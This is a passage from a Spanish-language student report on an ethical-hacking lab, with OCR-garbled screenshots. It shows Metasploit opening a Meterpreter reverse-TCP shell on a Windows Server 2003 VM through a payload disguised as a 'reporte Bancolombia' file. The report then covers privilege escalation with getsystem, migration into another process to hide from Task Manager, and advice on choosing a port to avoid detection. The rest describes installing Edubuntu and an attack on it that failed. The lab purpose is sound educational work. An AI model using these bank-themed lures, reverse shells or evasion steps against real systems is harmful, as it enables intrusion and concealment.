msf6 exploit( ) > set LPORT 4678
PORT => 4678
sf6 exploit( ) > options

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process Exit technique (Accepted:

, seh, thread, process, none)
LHOST 192.1.1.5 yes The listen address (an interface may be specified)
LPORT 4678 yes The listen port

Figura 33. Registro del Lport
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Para registras el Iport o es este caso cambiarlo utilizamos el comando set LPOR y el
puerto que queramos, segun lo que el profe nos dijo el puerto no puede estar ni muy lejos ni muy

cerca del 4444 para que otra maquina no lo detecte como hacking.

msf6 exploit( ) > exploit
Started reverse TCP handler on 192.1.1.5:4678
Sending stage (177734 bytes) to 192.1.1.8

Meterpreter session 1 opened (192.1.1.5:4678 -> 192.1.1.8:1029) at 2025-89-03 04:34:58 -0500

meterpreter > l

Figura 34. Explotamos la Vulnerabilidad Con Exploit

Ya solo debemos darle en exploit y esperar que la victima ejecute el archivo.

e 0 T
% Li| I"_'-\."«.IE L

Figura 35. Ejecucion del archivo Bancolombia

Si vamos y ejecutamos nuestro archivo en win2003 llamado reporte Bancolombia esto

deberia darnos acceso directo a esa maquina.
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Lo que hacemos luego es escalar los privilegios, como ya explicamos como se hace

omitiré esa parte.

meterpreter > 5v51nfn
Computer WIN20@3

05 Windows Server 2003 (5.2 Build 3790, Service Pack 1).
Architecture x86

Domain

Logged On Users
Meterpreter
meterpreter >

WORKGROUP
2
%86/windows

System Language : es_ES

Figura 36. Volvemos a ingresar sysinfo

Utilizamos el comando sysinfo para ver la informacion de la maquina

meterpreter > sy51nfo
WIN2003

: Windows Server 2003 (5.2 Build 3790, Service Pack 1).
: X86

System Language : es_ES

Domain : WORKGROUP

Logged On Users : 2

Meterpreter : x86/windows

meterpreter > getuid

Server username: WIN2003\Administrador

meterpreter >

meterpreter > getsystem

..got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter >
meterpreter > getsystem
Already running as SYSTEM

meterpreter > l

Figura 37. Comandos Para Escalar Privilegios

Evidencia de como se escalaron los privilegios.
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Con el comando ps que explicamos anteriormente lo que hacemos es mirar los procesos
que se estan ejecutando, para evitar que el usuario ingrese al administrador de tarea y finalice
nuestro ataque lo que haremos camuflarlo n medio de un proceso que tenga permisos de

administrador.

meterpreter > ps

PPID Name Arch Session User

0 [System Process]

0 System AUTHORITY\SYSTEM

4 SMSS. exe AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe

316 csrss.exe AUTHORITY\SYSTEM \??\C: \WINDOWS\system32\csrss.exe

316 winlogon.exe AUTHORITY\SYSTEM \??\C: \WINDOWS\system32\winlogon.exe

476  services.exe AUTHORITY\SYSTEM C:\WINDOWS\system32\services.exe

476 lsass.exe AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe

520 svchost.exe AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe

520 svchost.exe AUTHORITY\Servicio de red C:\WINDOWS\system32\svchost.exe

520 svchost.exe AUTHORITY\Servicio de red C:\WINDOWS\system32\svchost.exe
svchost.exe AUTHORITY\SERVICIO LOCAL  C:\WINDOWS\system32\svchost.exe

520 __svchost.exe : i

908 ctfmon.exe WIN2003\Administrador C:\WINDOWS\system32\ctfmon.exe
1360 520 spoolsv.exe NT AUTHORITY\SYSTEM C: \WINDOWS\system32\spoolsv.exe
1384 520 NT AUTHORITY\Servicio de red C:\WINDOWS\system32\msdt

gu38 - 8 B

Figura 38. Procesos en Ejecucion N Win2003

Aqui en el recuadro amarillo podemos ver nuestro archivo ejecutandose en este caso lo
cambiaremos o mejor dicho lo migraremos por el servicio del navegador Explorer (rectangulo
naranjado) que tiene permiso de administrador.

meterpreter > migrate 908 868
Migrating from 1412 to 9@8...

Migration completed successfully.
meterpreter > [

Figura 39. Hacemos la migracion de procesos

Bueno lo que hicimos fue que con el comando migrate 908 868 aqui lo que estamos

haciendo es tomar los PPID y cambiarlos.
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Mombre de imagen | Mombre de usuario | CPU | Usode
svchost exe SYSTEM oo 3.604 KE
taskmgr.exe Administrador ili] 3336 KB %
sychost. exe SERVICIO LOCAL oo 1.212 kB
sychost, exe SYITEM uli} 1.636 KB
msdbe, exe Servicio de red an 3.604 KB
spaalsy.exe SYSTEM oo 3.904 KE
reporte_bancolom.., Administrador Jali] 1.484 KB
sychost, exe SYITEM uli} 135,454 KB
svchost exe SERVICIO LOCAL oo 2.956 KB
syichost, exe Servicio de red an 3.840 KB
syichost,exe Setvicio de red an 2,836 KB
chfmon. exe Adminiskr adar 0o 2,300 KB
sychost, exe SYSTEM oa 2,320 KB
lsass exe SYITEM uli} 6.045KE |
SErYICeS, BXE SYITEM uli} 3.104 KB
winlogon.exe SYSTEM oo 1.860 KB
Cs5Ps5.EXE SYSTEM oo 3464 KB
explorer.exe Administrador ili] 10.460 KB LI
[ Mostrar procesos de todos los usuarios Terminar proceso |

|Pr0cesos: 23 |Uso de CPU: 0% |Carga de transacciones: 75M S

Figura 40. Antes de Realizar El Proceso

E administrador de tareas de Windows

Archivo Qpriones  Wer  Ayuda

=10l ]

fplicaciones  Procesos |Rendimientn I Funciones de red I |Jsuarios I

Mombre de imagen | Mombre de usuario | P | IJso de m... | -

alg.exe SERWICIO LOCAL ul] 2456 KB
wmipryse exe SYSTEM Juln] 4,732 KB
svchost.exe SYSTEM ul] 3632 KB
wuauclk. exe Adrministrador uli] 4,704 KB
syichosk, exe SERNTCIO LOCAL oo 1.216 KB
svchost. exe SYSTEM ao 1.836 KB
msdkc.exe Servicio de red uli] 3.600 KB
spoolsy.exe SYSTEM ao 3.944 KB
taskmagr.exe Adrinistrador uli] 3.360 KB
ckfmon, exe Adminiskr ador on

= = 24 KB
sychosk, exe o0 16,024 KB
svchost.exe SERWICIO LOCAL oo 2,964 KB
svchost,exe Servicio de red oo 3820 KB
svchost,exe Servicio de red oo 2004k
svchost,exe SYSTEM ul] 2. 340 KB
lsass. exe SYSTEM ul] 5,965 KB
SErvices.exe SYSTEM ] 376 KB
winlogon, exe SYSTEM oo 2112 KB ll

2,300 KB

[ Mastrar procesos de todos los usuarios

Terminar proceso |

|Carga de transacciones; 5M A

|Pru:ucesos: 23 |Llso de CPL: 0%

Figura 41. Evidencia de Que Funciono

Sabemos que funciono nuestro hackeo por que ya no nos muestra nuestro proceso en

ejecucion si no que nos muestra el proceso Explorer.
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5. Capitulo 3: Hacking Etico desde Kali Linux hacia Edubuntu utilizando el médulo
Meterpreter.
Para proceder a hacer el hacking desde Kali a la distribucion de Linux que elegimos lo
primero que se hizo fue descargar esa distribucion, para este caso la distro elegida fue edubuntu,

edubuntu es una distro de Linux orientada netamente hacia la educacion.

5.1. Eleccion y Busqueda de la Iso a Descargar Edubuntu
5.1.1 Busqueda de edubuntu
Para descargar esta distro lo primero que se hizo fue ingresar a nuestro navegador y

buscar la distribucion edubuntu como se muestra en la imagen, ingresamos al primer link

¢ > X [0 % googlecomsearchiq=Edubuntusisca esv=191b7cBblafld2eoiBsxsri=AEITIfNShBVAOL B0T2SCZZINWOWREVESS.. & P A D@ B 4 ©
Google Edubuntu X & @ Q z @
Todo
g Edubunty ‘ Edubuntu
Software do sistema
Edubuntu

Edubuntu
Foundation

™ == -gf}

Videos

edubuntu

EDUBUNTU 23.04 - UBUNTU DISTRIBUTION INTENDED ...
YouTube - de Windows a Linux § % &
ct 2023

Edubuntu 25.04 |a base de Ubuntu Gnome da una grata ...

Figura 42. Buscamos Edubuntu en el navegador

Luego de ingresar a este link se nos cargo la siguiente pantalla, en ella lo que hicimos fue

darle clic al botén rojo.

Edubuntu e e e = ;m
rreeaolil 1 Ol

every

classroom.

A stable, secure and privacy conscious option fo

schools.

@ Downlosd Edubunty

Figura 43. Apartado de descarga de Edubuntu
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5.1.2 Eleccion de la hizo de edubuntu
Ya estando en el apartado de descarga elegimos la iso 24.04 con 3 afios de soporte para

nuestra practica.

;\':, EdUbUntU Caracteristicas Equipo Descargar
dub \

Elige tu version preferida

Lanzamiento a largo plazo con 3 aios de soporte

¢ Descargar Edubuntu LTS 24.04.2 £ Notas de la versién

Ultimas funciones con 9 meses de soporte

> Descargar Edubuntu 25.04 ) Notas de la version

Figura 44. Seleccion de la Iso

5.1.3 Descarga de la Iso Buscada y seleccionada
Aqui ya seleccionamos la iso a descargar y la guardamos en una carpeta donde se

guardaria esta hizo, ya lo siguiente descargar y listo

Seleccione una imagen

Edubuntu se distribuye en dos tipos de imagenes que se describen a continuacion.

Imagen de eSCl—itoriO Imagen de escritorio de PC de 64 bits (AMD6&4)

Elija esta opcidn si tiene una computadora basadaenla
arquitectura AMD64 0 EM64T (por ejemplo, Athloné4, Opteron,

La imagen del escritorio te permite probar Edubuntu sin EM64T Xeon, Core 2). Elige esto si no estas sequro.

cambiar tu computadora en absoluto v, a tu eleccion, instalarlo
permanentemente mas tarde. Necesitara al menos 1024 MiB
de RAM para instalar desde esta imagen. Puede instalar
programas educativos adicionales utilizando la imagen
complementaria del servidor de aula.

Figura 45. Seleccion de la Imagen



J cdimages.ubuntu.com desea guardar X

4 L > Descargas > R & Buscar en Descargas »
Organizar * MNueva carpeta = - o
~ g Victor Manuel, Nombre Fecha de modificacion  Tipo
> Archivos de ¢ I ~ hoy
> CmapToolsLc [ edubuntu-24.04.3-desktop-amda4d Archivo de i
> Datos adjunt: mapas Carpeta de
 al principio de este afio
> @ Documentos ont
BTl R e d ubuntu-24.04.3-deskiop-amd64 (1) v|
Tipo: Disc Image File ~ L
E
<
E
~ Ocultar carpetas Cancelar
L

Figura 46. Eleccion de la Carpeta Donde se Guardara

Hoy

| edubuntu-24.04.3-desktop-amd64.iso (<o) (| X

https://cdimages.ubuntu.com

Figura 47. Descarga exitosa

Aqui ya podemos ver como tuvimos una descarga exitosa de nuestra distro edubuntu.
5.2. Configuracion en VirtualBox

El paso a paso seguido para configurar nuestra maquina virtual con la iso que

descargamos no fue diferente de lo que hemos hecho en la configuracion de otras maquinas con

otras ISOs.

5.2.1 Se creala maquina virtual y se carga la iso de Edubuntu.
Luego de abrir VirtualBox lo que se hizo fue darle clic en nueva, después de que se nos

abrio la pestafia precedimos a crear nuestra maquina de edubuntu.
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14 Oracle VirtualBox Administrado

i — LG @

Nueva Afiadir  Actualizar

V5 Crear maquina virtual - o xf
s Nombre y sistema operativo
Nombre: EDUBUNTU 4
Carpeta: CA\Users\LOCOMPU\VirtualBox VMs v
‘ ‘ Imagen IS0: D C\Users\LOCOMPU\D: 04.3-deskiop d64.iso @ v
Edicién:
Y ’ Tipo: Linux

Subtype: Ubuntu
Version: | Ubuntu (64-bit)

[ omitir instalacion desatendida
2 Instalacién desatendida
2 Hardware

2 Disco duro

Figura 48. Se configura el nombre y se carga la iso de edubuntu

Lo que se hizo luego fue darle un nombre a la maquina la cual nombramos EDUBUNTU,
en el seccion de carpeta seleccionamos la hizo que habiamos descargado previamente, se

selecciono la instalacion desatendida y los demas cambios se aplicaron automaticamente.

5.2.2 Instalacion Desatendida

[ Instalar en segundo plano

| WA Crear maquina virtual — o X
| > Nombre y sistema operativo

i * Instalacién desatendida

| L Expande | pagina =Instalacion desatendidas | Opciones adicionales

| Nombre de usuario: victor @ Clave de prodauto: sxsss

‘ ‘ Contrasefia: sesess @  Nombre de maquina: EDUBUNTU v

‘ T l Repetir contrasefia; eeeees <] Nembre de dominie: myguestvirtualbox.org N4

|

|

(O Complementos del invitado

150 de complementos del invitado: [8) caprogram Files\Oradle\virtualBox\vBoxGuestadditions.iso

> Hardware

| 2 Disco duro

Ayuda Anterior | Terminar | Cancelar

Figura 49. Instalacion Desatendida

En la instalacion desatendida lo inico que configuramos fu el nombre de usuario que para

mi caso fue Victor, y de contrasefia se puso lo mismo y los nimeros del 1 al 3



42

5.2.3 Configuracion Hardware

Para el hardware lo que hice fue darle una total de 5084Mb de RAM a la maquina y
ademas de eso le dimo uno de los nucleos de nuestro procesador entre mas RAM y mas nucleos
le demos mejor trabajara nuestra maquina, pero consideramos que esto era suficiente por el

momento.

5 Crear magquina virtual = O X

> Nombre y sistema operativo

7 Instalacién desatendica

.~ Hardware
‘ Memoria base: ' 5084 MB -
4 MB 14336 ME
e , Procesadores: ' 15
1CPU 8 CPUs

) Habilitar EFI (sélo SO especiales)

> Disco duro

Figura 50. Configuracion de hardware de nuestra maquina

5.2.4 Configuracion del Disco Duro
Para configurar el disco duro ingresamos al apartado con ese nombre, lo siguiente que s
hace es elegir cuanto espacio de nuestro disco utilizaremos para nuestra maquina virtual en mi

caso elegi 50Gb.

& Crear maguina virtual — [m] x

> Nembre y sistema operativo
7 Instalacién desatendida

7 Hardware

‘ . Disco duro
© crear un disco duro virtual ahora
- , Ubicacién y tamaio del archivo de diseo

C:\Users\LOCOMPU\VirtualBox VMs\EDUBUNTU\EDUBUNTU.vdi v @

v s
4,00 MB 2,00 TE
Tipo y variante de archivo de disco duro
VDI (VirtualBox Disk Image) ~ [J Reservar completamente
split Into 2GB Parts
© Usar un archivo de disco duro virtual existente
metasploitable3-win2ks-disk001.vmdk (Normal, 60,00 GB)

O No afiadir un disco duro virtual

Figura 51. Configuracion del Disco Duro
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5.2.5 Se Configura el Adaptador de Red
Para configurar el adaptador lo tinico que se hizo fue ir a la configuracion de la maquina,
en el apartado de red seleccionamos el adaptador #1 y dentro de este nos conectamos al red NAT
llamada semestre-9-2025-1, esto lo hicimos con el fin de hacer que nuestras maquina de Kali y la
de edubuntu se comunicaran entre si al estar en una misma red.
Red

Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4

Conectado a: Red NAT ~
MNombre: semestre-9-2025-1 &
Modo promiscuo:  Permitir todo ~

Cable conectado

Figura 52. Configuracion del Adaptador de Red.

5.3.Instalacion del Sistema Edubuntu
Luego de realizar esa configuracion, elegimos la forma en la que queremos instalar
edubuntu, para efectos practicos elegi instalarlo de forma gréfica.

Pa

4rchivo Maquina Ver Entrada Dispositivos Ayuda

GNU GRUB wversion 2.12 <

Try or Install Edubuntu

Edubuntu (safe graphics)
Test memory

Use the t and | keys to select which entry is highlighted.
Press enter to boot the selected 05, ‘e’ to edit the commands
before booting or "¢’ for a command-line.

The highlighted entry will be executed automatically in 3s.

@0 & & = EFl - @ cTRL DERECHA

Figura 53. Elegimos Instalar de forma grdfica edubuntu



Luego de esto nos va a cargar una pagina similar a esta, asi que nos toca esperar un rato

antes de seguir.

Ba

]

< Edubuntu

. Bek&s 8@ UGB R DerecHA

Figura 54. Inicia a cargar el sistema

Edubuntu 24.04.3 LTS

lications. Additionally, ther
nfo and Admin felder in the Ap
of Ubuntu

ntral hub For all things Edubuntu, /-
ws and documentation.

edubuntu.org is planned to
there! Ubuntu Discourse

arents and school

As releases progress €
es for previdirmititatorg

The installation will finish soan. We hope you enjoy Edubuntu

n Copying files
- 3 .

. Bek&s B El®E crr perecta

Figura 55. sigue cargando.
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Después de un rato de carga el sistema no pedira ingresar datos como nombre de usuario,

idioma, contrasefa entre otras cosas.



[Ed EDUBUNTU [Corriendo] - Oracle VirtualBox : 1 = [m] X
archivo Mdaquina Ver Entrada Dispositivos Ayuda

h s A4 @

Welcome m
Welcome!
(al ]
English United States
A
n
3
B 0@ o B 8l @ R cr perecHa
=N -0 o0 o o

Figura 56. Configuramos el idioma

Aqui configuramos el idioma; Luego configuramos la zona horaria, en ese caso se elige
la zona del pais al que se pertenece, nosotros ubicamos a bogota ya que somos de Colombia.

Ed EDUBUNTU [Corriendo] - Oracle VirtualBox : 1

4rchivo Maquina Ver Entrada Dispositivos Ayuda

Previous Time Zone

Time Zone

The time zone will be set automatically if your location can be found. You can also search for a city to setit yourself. }

Searchcities

B od e | Bl 8@ ® crre DerecHa |

Figura 57. Configuracion de la Zona horaria

Después de terminar de configurar el sistema, lo que hicimos fue iniciar su vulneracién

desde Linux para intentar replicar los hecho en win xp.

45
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Previous About You m

About You

We need a few details to complete setup.

FullName | Victer manuel v ]
Username  victormanuel v
Computer  victormanuel ~

&5 E@El®® cr perecHa

Figura 58.Registramos nuestro usuario

Aqui lo que hicimos fue registrar nuestro usuario creando una cuenta que nos permita

ingresar a edubuntu.

]
Previous Password

Set a Password

Be careful not to lose your password.

r &
Victor123. £ @

(&
Victor123] @

Figura 59. Se registra la contraseria

Luego de eso registramos nuestra contrasefia para poder acceder a este sistema, la

contrasefia que registramos fue Victor123.
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5.3.1 Verificacion de que si se instalo el sistema

VM | Victor manuel

<& Edubuntu

Figura 60. Inicio de seccion en edubuntu

Aqui podemos ver que la instalacion del sistema fue exitosa, la clave para iniciar seccion

es Victor123.

B0 ml=B

14
..

# oo BN E200AGHE ~e X vxo JULs

Figura 61. Interfaz de escritorio de edubuntu
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Problemas Presentados al Realizar el informe

Se presentaron varios inconvenientes durante la realizacion del laboratorio. En primer
lugar, tuve que reinstalar Kali Linux porque, por error, eliminé la carpeta de trabajo necesaria
para las practicas. Posteriormente intenté instalar la distribucion BlackArch para las pruebas de
hacking, pero la instalacion fall6 repetidamente a pesar de varios intentos de descarga y
reinstalacion de la ISO. Al cambiar la méaquina objetivo a Edubuntu surgieron también problemas
iniciales durante su instalacion; sin embargo, finalmente consegui instalarla correctamente. Estos
contratiempos ralentizaron el desarrollo de las actividades y, como resultado, no pude completar

la practica en su totalidad, lo que provoco la entrega tardia e incompleta del laboratorio.



Solucion del Problema
Para solucionar algunos de los problemas encontrados lo que hice fue cambiar cierta
cosas, ejemplo: para solucionar lo de Kali Linux instale de nuevo el sistema y lo clone, luego
cambie la distro de blackArch a Edubuntu el problema que no logre solucionar fue realizar la

vulneracion de esta maquina por ma que lo intente no pude.
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Recomendaciones

Por el momento no tengo una recomendacion.
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Conclusion
Puedo concluir diciendo que la presente practica permiti6 aplicar de forma progresiva y
estructurada los conocimientos adquiridos sobre analisis de vulnerabilidades y pruebas de
penetracion en entornos controlados. A través del uso de herramientas especializadas como
Nmap y Metasploit Framework, se logré identificar, evaluar y explotar multiples servicios
vulnerables presentes en la maquina virtual Metasploitable, tales como FTP, Telnet, Samba,

MySQL, PostgreSQL y DNS.

Cada uno de los pasos realizados, desde el escaneo de red, la deteccion de servicios, hasta
la ejecucion de exploits, evidencid la importancia de comprender como las configuraciones
débiles y las versiones obsoletas pueden ser aprovechadas por un atacante para obtener acceso no
autorizado. Asimismo, se fortalecieron competencias técnicas relacionadas con la lectura de
banners, el uso de modulos de explotacion, la interpretacion de errores y la validacion de

resultados.

En términos generales, la practica result6 altamente importante para mi ya que me
permite poner aprueba lo que vi en clase, tanto desde el punto de vista técnico como
metodologico. No solo permitio afianzar los conceptos tratados en clase, sino que también sirvid
como preparacion efectiva para futuras evaluaciones practicas y como ejemplo concreto de como
debe estructurarse una prueba de penetracion basica. Se concluye, por tanto, que el desarrollo del

informe cumpli6 satisfactoriamente con los objetivos planteados.
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